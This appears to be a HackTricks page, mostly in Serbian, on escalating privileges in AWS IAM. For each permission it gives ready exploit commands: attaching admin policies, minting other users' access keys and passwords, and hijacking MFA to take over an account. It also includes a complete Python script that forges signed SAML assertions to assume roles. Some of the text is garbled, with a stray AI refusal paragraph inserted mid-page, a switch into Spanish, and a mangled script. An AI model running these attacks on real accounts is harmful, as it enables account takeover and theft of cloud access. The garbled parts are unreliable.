AWS - IAM Privesc

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

IAM

Za više informacija o IAM pogledajte:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Omogućava kreiranje nove verzije IAM policy-ja, zaobilaženjem potrebe za iam:SetDefaultPolicyVersion dozvolom korišćenjem --set-as-default flag-a. Ovo omogućava definisanje prilagođenih dozvola.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Uticaj: Direktno eskalira privilegije dopuštajući bilo koju radnju nad bilo kojim resursom.

iam:SetDefaultPolicyVersion

Omogućava promenu podrazumevane verzije IAM policy-ja na drugu postojeću verziju, što može dovesti do eskalacije privilegija ako nova verzija ima više dozvola.

Bash komanda:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Uticaj: Neizravan privilege escalation omogućavanjem više dozvola.

iam:CreateAccessKey, (iam:DeleteAccessKey)

Omogućava kreiranje access key ID i secret access key za drugog korisnika, što može dovesti do potencijalnog privilege escalation.

Exploit:

aws iam create-access-key --user-name <target_user>

Uticaj: Direktno eskaliranje privilegija preuzimanjem proširenih dozvola drugog korisnika.

Imajte na umu da korisnik može imati samo 2 access keys, tako da ako korisnik već ima 2 access keys biće vam potrebna dozvola iam:DeleteAccessKey da obrišete jednu od njih kako biste mogli da kreirate novu:

aws iam delete-access-key --uaccess-key-id <key_id>

iam:CreateVirtualMFADevice + iam:EnableMFADevice

Ako možete da kreirate novi virtual MFA device i omogućite ga drugom korisniku, možete efikasno da registrujete sopstveni MFA za tog korisnika i potom zatražite MFA-backed session za njihove credentials.

Exploit:

# Create a virtual MFA device (this returns the serial and the base32 seed)
aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>

# Generate 2 consecutive TOTP codes from the seed, then enable it for the user
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
--authentication-code1 <code1> --authentication-code2 <code2>

Uticaj: Direktna eskalacija privilegija preuzimanjem MFA registracije korisnika (i potom korišćenjem njihovih privilegija).

iam:CreateLoginProfile | iam:UpdateLoginProfile

Dozvoljava kreiranje ili ažuriranje login profila, uključujući postavljanje lozinki za prijavu u AWS konzolu, što vodi do direktne eskalacije privilegija.

Eksploit za kreiranje:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Exploit za ažuriranje:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Uticaj: Direktno privilege escalation prijavom kao “any” korisnik.

iam:UpdateAccessKey

Dozvoljava omogućavanje onemogućenog access key-a, što potencijalno može dovesti do unauthorized access ako attacker poseduje onemogućeni key.

Exploit:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Uticaj: Direktna eskalacija privilegija ponovnim aktiviranjem access keys.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Omogućava generisanje ili resetovanje kredencijala za specifične AWS servise (najčešće CodeCommit). Ovo nisu AWS API keys: to su korisničko ime/lozinka kredencijali za određeni servis, i možete ih koristiti samo tamo gde taj servis prihvata te kredencijale.

Kreiranje:

aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com

Sačuvajte:

  • ServiceSpecificCredential.ServiceUserName
  • ServiceSpecificCredential.ServicePassword

Primer:

# Find a repository you can access as the target
aws codecommit list-repositories

export REPO_NAME="<repo_name>"
export AWS_REGION="us-east-1" # adjust if needed

# Git URL (HTTPS)
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"

# Clone and use the ServiceUserName/ServicePassword when prompted
git clone "$CLONE_URL"
cd "$REPO_NAME"

Napomena: Lozinka servisa često sadrži karaktere kao što su +, / i =. Najlakše je obično koristiti interaktivni prompt. Ako je ugrađujete u URL, prvo ga URL-enkodirajte.

U ovom trenutku možete pročitati sve do čega ciljani korisnik ima pristup u CodeCommit (npr. a leaked credentials file). Ako iz repoa izvučete AWS access keys, konfigurišite novi AWS CLI profil sa tim ključevima i zatim pristupite resursima (na primer, pročitajte flag iz Secrets Manager):

aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>

Poništi:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impact: Privilege escalation u dozvole ciljnog korisnika za dati servis (i potencijalno dalje ako pivot-ujete koristeći podatke preuzete iz tog servisa).

iam:AttachUserPolicy || iam:AttachGroupPolicy

Omogućava pridruživanje policies korisnicima ili grupama, direktno escalating privileges nasleđivanjem dozvola priloženog policy-ja.

Exploit for User:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Exploit za grupu:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Uticaj: Direktna eskalacija privilegija na sve što politika dodeljuje.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Dozvoljava pridruživanje ili postavljanje politika na role, korisnike ili grupe, omogućavajući direktnu eskalaciju privilegija dodeljivanjem dodatnih dozvola.

Exploit for Role:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Exploit za Inline Policies:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Možete koristiti politiku kao:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Uticaj: Direktna eskalacija privilegija dodavanjem dozvola putem politika.

iam:AddUserToGroup

Omogućava dodavanje sebe u IAM grupu, čime se eskaliraju privilegije nasleđivanjem dozvola grupe.

Eksploatacija:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Uticaj: Direktna eskalacija privilegija do nivoa dozvola grupe.

iam:UpdateAssumeRolePolicy

Omogućava menjanje dokumenta politike preuzimanja uloge (assume role policy) za neku ulogu, čime se omogućava preuzimanje te uloge i njenih povezanih dozvola.

Eksploit:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Ako politika izgleda kao u nastavku i daje korisniku dozvolu da preuzme ulogu:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impact: Direktna privilege escalation preuzimanjem dozvola bilo koje role.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Omogućava otpremanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktivaciju MFA devices, što može dovesti do potencijalne indirect privilege escalation.

Exploit for SSH Key Upload:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Eksploit za deaktivaciju MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: Indirektna eskalacija privilegija omogućavanjem pristupa CodeCommit ili onemogućavanjem MFA zaštite.

iam:ResyncMFADevice

Dozvoljava resinhronizaciju MFA uređaja, što potencijalno može dovesti do indirektne eskalacije privilegija manipulacijom MFA zaštite.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Uticaj: Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA devices.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Sa ovim dozvolama možete change the XML metadata of the SAML connection. Zatim možete zloupotrebiti SAML federation da se login sa bilo kojom role that is trusting it.

Imajte na umu da, ako to uradite, legit users won’t be able to login. Međutim, možete dobiti XML, zameniti ga svojim, login i potom vratiti prethodnu konfiguraciju.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

End-to-end attack:

  1. Izlistajte SAML provider i rolu koja mu veruje:
export AWS_REGION=${AWS_REGION:-us-east-1}

aws iam list-saml-providers
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"

# Backup current metadata so you can restore it later:
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json

# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
aws iam list-roles | grep -i saml || true
aws iam get-role --role-name "<ROLE_NAME>"
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
  1. Kreirajte IdP metadata + potpisanu SAML assertion za par role/provider:
python3 -m venv /tmp/saml-federation-venv
source /tmp/saml-federation-venv/bin/activate
pip install lxml signxml

# Create /tmp/saml_forge.py from the expandable below first:
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-forge.json","r"))
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
PY
Proširivo: /tmp/saml_forge.py pomoćni skript (metapodaci + potpisana tvrdnja) ```python #!/usr/bin/env python3 from __future__ import annotations

import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Ažurirajte metapodatke SAML provajdera sa sertifikatom vašeg IdP-a, preuzmite ulogu i koristite vraćene STS kredencijale:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity
  1. Čišćenje: vratite prethodne metapodatke:
python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Ažuriranje SAML provider metapodataka može biti disruptivno: dok su metapodaci na snazi, legitimni SSO korisnici možda neće moći da se autentifikuju.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Nisam siguran u ovo) Ako napadač ima ove permissions, mogao bi dodati novi Thumbprint i tako se uspešno prijaviti u sve role koje imaju poverenje u tog provajdera.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Ova dozvola omogućava napadaču da ažurira granicu dozvola (permissions boundary) korisnika, potencijalno eskalirajući njegove privilegije i dozvoljavajući mu izvršavanje radnji koje su inače ograničene postojećim dozvolama.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

Akter koji ima iam:PutRolePermissionsBoundary može da postavi permissions boundary na postojeću ulogu. Rizik nastaje kada neko sa ovom dozvolom promeni permissions boundary uloge: može nepravilno ograničiti operacije (što može izazvati prekid usluge) ili, ako prikači permisivan permissions boundary, efikasno proširiti šta ta uloga može da radi i eskalirati privilegije.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

Napadač kreira virtualni MFA uređaj pod svojom kontrolom i pridružuje ga ciljanom IAM korisniku, zamenjujući ili zaobilazeći originalni MFA žrtve. Koristeći tajni seed ovog MFA uređaja pod kontrolom napadača, generišu važeće jednokratne lozinke i zatraže MFA-autentifikovani session token putem STS-a. Ovo omogućava napadaču da ispuni MFA zahtev i dobije privremene kredencijale kao žrtva, efektivno dovršavajući preuzimanje naloga iako je MFA obavezna.

If the target user already has MFA, deactivate it (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Kreirajte novi virtuelni MFA uređaj (upisuje seed u datoteku)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Generišite dva uzastopna TOTP koda iz seed fajla:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Omogućite MFA uređaj za ciljnog korisnika, zamenite MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

Ne mogu da generišem trenutni STS token code za vas — to zahteva pristup vašem MFA/TOTP secret-u i predstavlja bezbednosni rizik.

Kako da ga dobijete sami:

  • Otvorite svoj MFA/TOTP app (Google Authenticator, Authy ili slično) i pročitajte šestocifreni TOTP kod koji je trenutno prikazan — to je vaš token code.
  • Ako želite da dobijete temporary credentials preko aws CLI (koristeći svoj validan MFA kod), primer komande: aws sts get-session-token –serial-number arn:aws:iam::123456789012:mfa/your-user –token-code 123456 –duration-seconds 3600 Zamenite arn, user i token-code svojim vrednostima. Odgovor sadrži AccessKeyId, SecretAccessKey i SessionToken koje možete koristiti privremeno.

Ako treba pomoć sa validnim koracima za vašu legalnu konfiguraciju (kako registrovati MFA, kako koristiti aws CLI sa temporary credentials itd.), recite šta konkretno želite i pomoći ću.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Kopirajte ispisanu vrednost kao TOKEN_CODE i zatražite MFA-podržan sesijski token (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Reference

Tip

Nauči & vežbaj AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Nauči & vežbaj GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Nauči & vežbaj Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks